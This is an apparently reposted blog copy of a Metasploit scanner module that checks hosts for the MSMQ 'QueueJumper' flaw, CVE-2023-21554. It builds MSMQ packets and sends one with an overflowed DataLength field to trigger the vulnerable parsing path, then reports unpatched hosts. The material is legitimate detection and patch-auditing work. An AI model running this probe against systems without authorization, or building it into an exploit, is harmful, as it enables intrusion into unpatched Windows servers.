{"id":59322,"date":"2024-09-01T01:50:29","date_gmt":"2024-08-31T22:50:29","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180925\/cve_2023_21554_queuejumper.rb.txt"},"modified":"2024-09-01T01:50:29","modified_gmt":"2024-08-31T22:50:29","slug":"cve-2023-21554-queuejumper-msmq-remote-code-execution-check","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cve-2023-21554-queuejumper-msmq-remote-code-execution-check\/","title":{"rendered":"CVE-2023-21554 QueueJumper &#8211; MSMQ Remote Code Execution Check"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;bindata&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::Tcp<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;CVE-2023-21554 &#8211; QueueJumper &#8211; MSMQ RCE Check&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module checks the provided hosts for the CVE-2023-21554 vulnerability by sending<br \/>a MSMQ message with an altered DataLength field within the SRMPEnvelopeHeader that<br \/>overflows the given buffer. On patched systems, the error is caught and no response<br \/>is sent back. On vulnerable systems, the integer wraps around and depending on the length<br \/>could cause an out-of-bounds write. In the context of this module a response is sent back,<br \/>which indicates that the system is vulnerable.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Wayne Low&#8217;, # Vulnerability discovery<br \/>&#8216;Haifei Li&#8217;, # Vulnerability discovery<br \/>&#8216;Bastian Kanbach &lt;bastian.kanbach@securesystems.de&gt;&#8217; # Metasploit Module, @__bka__<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;CVE&#8217;, &#8216;2023-21554&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/msrc.microsoft.com\/update-guide\/vulnerability\/CVE-2023-21554&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/securityintelligence.com\/posts\/msmq-queuejumper-rce-vulnerability-technical-analysis\/&#8217; ]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2023-04-11&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;AKA&#8217; =&gt; [&#8216;QueueJumper&#8217;]}<br \/>)<br \/>)<br \/>register_options([<br \/>Opt::RPORT(1801)<br \/>])<br \/>end<\/p>\n<p># Preparing message struct according to https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-mqrr\/f9e71595-339a-4cc4-8341-371e0a4cb232<\/p>\n<p>class BaseHeader &lt; BinData::Record<br \/># BaseHeader (https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-mqmq\/058cdeb4-7a3c-405b-989c-d32b9d6bddae)<br \/>#<br \/># Simple header containing a static signature, packet size, some flags and some sort of timeout value for the message to arrive<br \/>#<\/p>\n<p>endian :big<\/p>\n<p>uint8 :version_number<br \/>uint8 :reserved<br \/>uint16 :flags<br \/>uint32 :signature<br \/>uint32le :packet_size<br \/>uint32le :time_to_reach_queue<br \/>end<\/p>\n<p>class UserHeader &lt; BinData::Record<br \/># UserHeader (https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-mqmq\/056b43bc-2466-4342-8504-1630310d5965)<br \/>#<br \/># The UserHeader is an essential header that defines the destination, message id,<br \/># source, sent time and expiration time<br \/>#<\/p>\n<p>endian :big<\/p>\n<p>string :source_queue_manager, length: 16<br \/>string :queue_manager_address, length: 16<br \/>uint32le :time_to_be_received<br \/>uint32le :sent_time<br \/>uint32le :message_id<br \/>uint32 :flags<br \/>uint16le :destination_queue_length<br \/>string :destination_queue<br \/>string :padding<br \/>end<\/p>\n<p>class MessagePropertiesHeader &lt; BinData::Record<br \/># MessagePropertiesHeader (https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-mqmq\/b219bdf4-1bf6-4688-94d8-25fdba45e5ec)<br \/>#<br \/># This header contains meta information about the message like its label,<br \/># message size and whether encryption is used.<br \/>#<\/p>\n<p>endian :big<\/p>\n<p>uint8 :flags<br \/>uint8 :label_length<br \/>uint16 :message_class<br \/>string :correlation_id, length: 20<br \/>uint32 :body_type<br \/>uint32 :application_tag<br \/>uint32 :message_size<br \/>uint32 :allocation_body_size<br \/>uint32 :privacy_level<br \/>uint32 :hash_algorithm<br \/>uint32 :encryption_algorithm<br \/>uint32 :extension_size<br \/>string :label<br \/>end<\/p>\n<p>class SRMPEnvelopeHeader &lt; BinData::Record<br \/># SRMPEnvelopeHeader (https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-mqrr\/062b8317-2ade-4b1c-804d-1674b2fdcad3)<br \/>#<br \/># This header contains information about the SOAP envelope of the message.<br \/># It includes information about destination queue, label, message and sent<br \/># or expiration dates.<br \/># The Data field contains a SRMP Message Structure (https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/mc-mqsrm\/38cfc717-c703-46aa-a145-34f60b79399b)<br \/>#<\/p>\n<p>endian :big<\/p>\n<p>uint16 :header_id<br \/>uint16 :reserved<br \/>uint32le :data_length<br \/>string :data<br \/>string :padding<br \/>end<\/p>\n<p>class CompoundMessageHeader &lt; BinData::Record<br \/># CompoundMessageHeader (https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-mqrr\/ecf70c09-d312-4afc-9e2c-f61a5c827f47)<br \/>#<br \/># This header contains information about the SRMP compound message.<br \/># This is basically a HTTP message containing HTTP headers and a SOAP<br \/># body that defines parameters like the message destination, sent date,<br \/># label and some more.<br \/>#<\/p>\n<p>endian :big<\/p>\n<p>uint16le :header_id<br \/>uint16 :reserved<br \/>uint32le :http_body_size<br \/>uint32le :msg_body_size<br \/>uint32le :msg_body_offset<br \/>string :data<br \/>end<\/p>\n<p>class ExtensionHeader &lt; BinData::Record<br \/># ExtensionHeader (https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-mqrr\/baf230bf-7f15-4d03-bd1d-f8276608a955)<br \/>#<br \/># Header detailing if any further headers are present. In this case<br \/># no further headers were appended.<br \/>#<\/p>\n<p>endian :big<\/p>\n<p>uint32le :header_size<br \/>uint32le :remaining_headers_size<br \/>uint8 :flags<br \/>string :reserved, length: 3<br \/>end<\/p>\n<p>def send_message(msg)<br \/>connect<br \/>sock.put(msg)<br \/>response = sock.timed_read(1024)<br \/>disconnect<br \/>return response<br \/>end<\/p>\n<p>def run_host(ip)<br \/>base_header = BaseHeader.new<\/p>\n<p># Version number is always 0x10<br \/>base_header.version_number = 16<\/p>\n<p>base_header.reserved = 0<\/p>\n<p># Flags: PR=3 (Message Priority)<br \/>base_header.flags = 768<\/p>\n<p># Signature is static and always set to &#8216;LIOR&#8217;<br \/>base_header.signature = 0x4C494F52<\/p>\n<p># TimeToReachQueue set to &#8216;infinite&#8217; (0xFFFFFFFF)<br \/>base_header.time_to_reach_queue = 4294967295<\/p>\n<p>user_header = UserHeader.new<\/p>\n<p># SourceQueueManager is set to a null UUID, since SRMP Messages use the SOAP Headers for this<br \/>user_header.source_queue_manager = &#8220;\\x00&#8221; * 16<\/p>\n<p># QueueManagerAddress is set to a null UUID, since SRMP Messages use the SOAP Headers for this<br \/>user_header.queue_manager_address = &#8220;\\x00&#8221; * 16<\/p>\n<p>user_header.time_to_be_received = 0<\/p>\n<p># SentTime is set to an arbitrary value. For this purpose it doesn&#8217;t matter if it&#8217;s in the past<br \/>user_header.sent_time = 1690217059<\/p>\n<p>user_header.message_id = 1<\/p>\n<p># Flags: RC=1, DQ=7 (Direct Format Type), F=1 (MessagePropertiesHeader present), J=1 (HTTP used)<br \/>user_header.flags = 18620418<\/p>\n<p># An arbitrary ip address and queue name was chosen to send the message.<br \/># Usually this need to match an existing IP address and queue name, however<br \/># for this Proof-of-Concept it doesn&#8217;t matter what values are used.<br \/>user_header.destination_queue = &#8220;http:\/\/192.168.10.100\/msmq\/private$\/queuejumper\\x00&#8221;.encode(&#8216;utf-16le&#8217;)<\/p>\n<p>user_header.destination_queue_length = user_header.destination_queue.length<br \/>user_header.padding = &#8221;<br \/>user_header_padding_required = (4 &#8211; (user_header.to_binary_s.length % 4)) % 4<br \/>user_header.padding = &#8220;\\x00&#8221; * user_header_padding_required<\/p>\n<p>message_properties_header = MessagePropertiesHeader.new<br \/>message_properties_header.flags = 0<br \/>message_properties_header.message_class = 0<br \/>message_properties_header.correlation_id = &#8220;\\x00&#8221; * 20<br \/>message_properties_header.body_type = 0<br \/>message_properties_header.application_tag = 0<\/p>\n<p># Usually this field contains the size of the message. In SRMP messages this is handles within the SOAP headers<br \/>message_properties_header.message_size = 0<\/p>\n<p>message_properties_header.allocation_body_size = 0<br \/>message_properties_header.privacy_level = 0<br \/>message_properties_header.hash_algorithm = 0<br \/>message_properties_header.encryption_algorithm = 0<br \/>message_properties_header.extension_size = 0<\/p>\n<p># Label of the message was set to the arbitrary value &#8216;poc&#8217;<br \/>message_properties_header.label = &#8220;poc\\x00&#8221;.encode(&#8216;utf-16le&#8217;)<\/p>\n<p>message_properties_header.label_length = message_properties_header.label.length \/ 2<\/p>\n<p>srmp_envelope_header = SRMPEnvelopeHeader.new<br \/>srmp_envelope_header.header_id = 0<br \/>srmp_envelope_header.reserved = 0<\/p>\n<p># The payload within the SRMPEnvelopeHeader structure is a SOAP request that defines message label, destination queue<br \/># and expiry and sent dates.<br \/># Usually the destination information need to match the IP address and queue name, however<br \/># for this Proof-of-Concept it doesn&#8217;t matter what values are used.<br \/>srmp_envelope_header.data = &lt;&lt;~EOF.chomp<br \/>&lt;se:Envelope xmlns:se=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&#8221; \\r<br \/>xmlns=&#8221;http:\/\/schemas.xmlsoap.org\/srmp\/&#8221;&gt;\\r<br \/>&lt;se:Header&gt;\\r<br \/>&lt;path xmlns=&#8221;http:\/\/schemas.xmlsoap.org\/rp\/&#8221; se:mustUnderstand=&#8221;1&#8243;&gt;\\r<br \/>&lt;action&gt;MSMQ:poc&lt;\/action&gt;\\r<br \/>&lt;to&gt;http:\/\/192.168.10.100\/msmq\/private$\/queuejumper&lt;\/to&gt;\\r<br \/>&lt;id&gt;uuid:1@00000000-0000-0000-0000-000000000000&lt;\/id&gt;\\r<br \/>&lt;\/path&gt;\\r<br \/>&lt;properties se:mustUnderstand=&#8221;1&#8243;&gt;\\r<br \/>&lt;expiresAt&gt;20600609T164419&lt;\/expiresAt&gt;\\r<br \/>&lt;sentAt&gt;20230724T164419&lt;\/sentAt&gt;\\r<br \/>&lt;\/properties&gt;\\r<br \/>&lt;\/se:Header&gt;\\r<br \/>&lt;se:Body&gt;&lt;\/se:Body&gt;\\r<br \/>&lt;\/se:Envelope&gt;\\r\\n\\r\\n\\x00<br \/>EOF<\/p>\n<p>srmp_envelope_header.data = srmp_envelope_header.data.encode(&#8216;utf-16le&#8217;)<br \/>srmp_envelope_header.data_length = srmp_envelope_header.data.length \/ 2<br \/>srmp_envelope_header_padding_required = (4 &#8211; (srmp_envelope_header.to_binary_s.length % 4)) % 4<br \/>srmp_envelope_header.padding = &#8220;\\x00&#8221; * srmp_envelope_header_padding_required<\/p>\n<p>compound_message_header = CompoundMessageHeader.new<\/p>\n<p># HeaderId is set to an arbitrary value<br \/>compound_message_header.header_id = 500<\/p>\n<p>compound_message_header.reserved = 0<\/p>\n<p># MsgBodySize denotes the size of the actual message<br \/>compound_message_header.msg_body_size = 7<\/p>\n<p># MsgBodyOffset is the offset of the actual message within the CompoundMessageHeader payload<br \/>compound_message_header.msg_body_offset = 995<\/p>\n<p># The data field within the CompoundMessageHeader structure contains a HTTP-POST request that is used to submit the message<br \/># to MSMQ. It contains the destination host, the SOAP envelope from SRMPEnvelopeHeader, sent and expiry dates. The destination<br \/># addresses and queue names don&#8217;t need to match for this proof-of-concept to work. With incorrect information the message will<br \/># never reach the destination, however parsing of the structure and triggering the vulnerable code sequence happens before anyway.<br \/>compound_message_header.data = &lt;&lt;~EOF.chomp<br \/>POST \/msmq HTTP\/1.1\\r<br \/>Content-Length: 816\\r<br \/>Content-Type: multipart\/related; boundary=&#8221;MSMQ &#8211; SOAP boundary, 53287&#8243;; type=text\/xml\\r<br \/>Host: 192.168.10.100\\r<br \/>SOAPAction: &#8220;MSMQMessage&#8221;\\r<br \/>Proxy-Accept: NonInteractiveClient\\r<br \/>\\r<br \/>&#8211;MSMQ &#8211; SOAP boundary, 53287\\r<br \/>Content-Type: text\/xml; charset=UTF-8\\r<br \/>Content-Length: 606\\r<br \/>\\r<br \/>&lt;se:Envelope xmlns:se=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&#8221; \\r<br \/>xmlns=&#8221;http:\/\/schemas.xmlsoap.org\/srmp\/&#8221;&gt;\\r<br \/>&lt;se:Header&gt;\\r<br \/>&lt;path xmlns=&#8221;http:\/\/schemas.xmlsoap.org\/rp\/&#8221; se:mustUnderstand=&#8221;1&#8243;&gt;\\r<br \/>&lt;action&gt;MSMQ:poc&lt;\/action&gt;\\r<br \/>&lt;to&gt;http:\/\/192.168.10.100\/msmq\/private$\/queuejumper&lt;\/to&gt;\\r<br \/>&lt;id&gt;uuid:1@00000000-0000-0000-0000-000000000000&lt;\/id&gt;\\r<br \/>&lt;\/path&gt;\\r<br \/>&lt;properties se:mustUnderstand=&#8221;1&#8243;&gt;\\r<br \/>&lt;expiresAt&gt;20600609T164419&lt;\/expiresAt&gt;\\r<br \/>&lt;sentAt&gt;20230724T164419&lt;\/sentAt&gt;\\r<br \/>&lt;\/properties&gt;\\r<br \/>&lt;\/se:Header&gt;\\r<br \/>&lt;se:Body&gt;&lt;\/se:Body&gt;\\r<br \/>&lt;\/se:Envelope&gt;\\r<br \/>\\r<br \/>&#8211;MSMQ &#8211; SOAP boundary, 53287\\r<br \/>Content-Type: application\/octet-stream\\r<br \/>Content-Length: 7\\r<br \/>Content-Id: body@ff3af301-3196-497a-a918-72147c871a13\\r<br \/>\\r<br \/>Message\\r<br \/>&#8211;MSMQ &#8211; SOAP boundary, 53287&#8211;\\x00<br \/>EOF<br \/>compound_message_header.http_body_size = compound_message_header.data.length<\/p>\n<p>extension_header = ExtensionHeader.new<\/p>\n<p># Extension header will be empty in this case. The length is set to the minimal value of 12.<br \/>extension_header.header_size = 12<\/p>\n<p>extension_header.remaining_headers_size = 0<br \/>extension_header.flags = 0<br \/>extension_header.reserved = &#8220;\\x00&#8221; * 3<\/p>\n<p># Total packet size within the BaseHeader is calculated, now that all message parts were instantiated<br \/>base_header.packet_size = base_header.to_binary_s.length + user_header.to_binary_s.length + message_properties_header.to_binary_s.length + srmp_envelope_header.to_binary_s.length + compound_message_header.to_binary_s.length + extension_header.to_binary_s.length<\/p>\n<p># A normal message is sent to the server. This should yield a result for both, vulnerable and patched MSMQ instances<br \/>response = send_message(base_header.to_binary_s + user_header.to_binary_s + message_properties_header.to_binary_s + srmp_envelope_header.to_binary_s + compound_message_header.to_binary_s + extension_header.to_binary_s)<\/p>\n<p>if !response<br \/>print_error(&#8216;No response received due to a timeout&#8217;)<br \/>return<br \/>end<\/p>\n<p>if response.include?(&#8216;LIOR&#8217;)<br \/># Response from server contains the static signature value &#8216;LIOR&#8217;. Presence of MSMQ is confirmed<br \/>print_status(&#8216;MSMQ detected. Checking for CVE-2023-21554&#8217;)<br \/>else<br \/>print_error(&#8216;Service does not look like MSMQ&#8217;)<br \/>return<br \/>end<\/p>\n<p># This statement increases the DataLength field within the SRMPEnvelopeHeader by 0x80000000. This will cause<br \/># an integer overflow, that overflows the 4 integer bytes. By adding this value the least significant 4 bytes will<br \/># remain the same, to ensure that a vulnerable MSMQ instance doesn&#8217;t try to access invalid memory. This means that<br \/># vulnerable instances are expected to sent a normal response, like for the first, unmodified packet.<br \/>#<br \/># Patched instances will detect the overflow, throw an exception and stop processing the message. No response is expected.<br \/>srmp_envelope_header.data_length = srmp_envelope_header.data_length + 2147483648<\/p>\n<p>response = send_message(base_header.to_binary_s + user_header.to_binary_s + message_properties_header.to_binary_s + srmp_envelope_header.to_binary_s + compound_message_header.to_binary_s + extension_header.to_binary_s)<\/p>\n<p>if response.nil?<br \/>print_error(&#8216;No response received, MSMQ seems to be patched&#8217;)<br \/>return<br \/>end<\/p>\n<p>if response.include?(&#8216;LIOR&#8217;)<br \/>print_good(&#8216;MSMQ vulnerable to CVE-2023-21554 &#8211; QueueJumper!&#8217;)<\/p>\n<p># Add Report<br \/>report_vuln(<br \/>host: ip,<br \/>port: rport,<br \/>proto: &#8216;tcp&#8217;,<br \/>name: name,<br \/>info: &#8216;Missing Microsoft Windows patch for CVE-2023-21554&#8217;,<br \/>refs: references<br \/>)<\/p>\n<p>else<br \/>print_error(&#8216;Unknown response detected upon sending a malformed message. MSMQ might be vulnerable, but the behaviour is unusual&#8217;)<br \/>end<br \/>rescue ::Rex::ConnectionError<br \/>print_error(&#8216;Unable to connect to the service&#8217;)<br \/>rescue ::Errno::ECONNRESET<br \/>print_error(&#8216;Connection reset by service&#8217;)<br \/>rescue ::Errno::EPIPE<br \/>print_error(&#8216;pipe error&#8217;)<br \/>rescue Timeout::Error<br \/>print_error(&#8216;Timeout after waiting for service to respond&#8217;)<br \/>rescue StandardError =&gt; e<br \/>print_error(e)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;bindata&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;CVE-2023-21554 &#8211; QueueJumper &#8211; MSMQ RCE Check&#8217;,&#8216;Description&#8217; =&gt; %q{This module checks the provided hosts for the CVE-2023-21554 vulnerability by sendinga MSMQ message with an altered DataLength field within the SRMPEnvelopeHeader thatoverflows the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59322","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59322","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59322"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59322\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59322"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59322"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59322"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}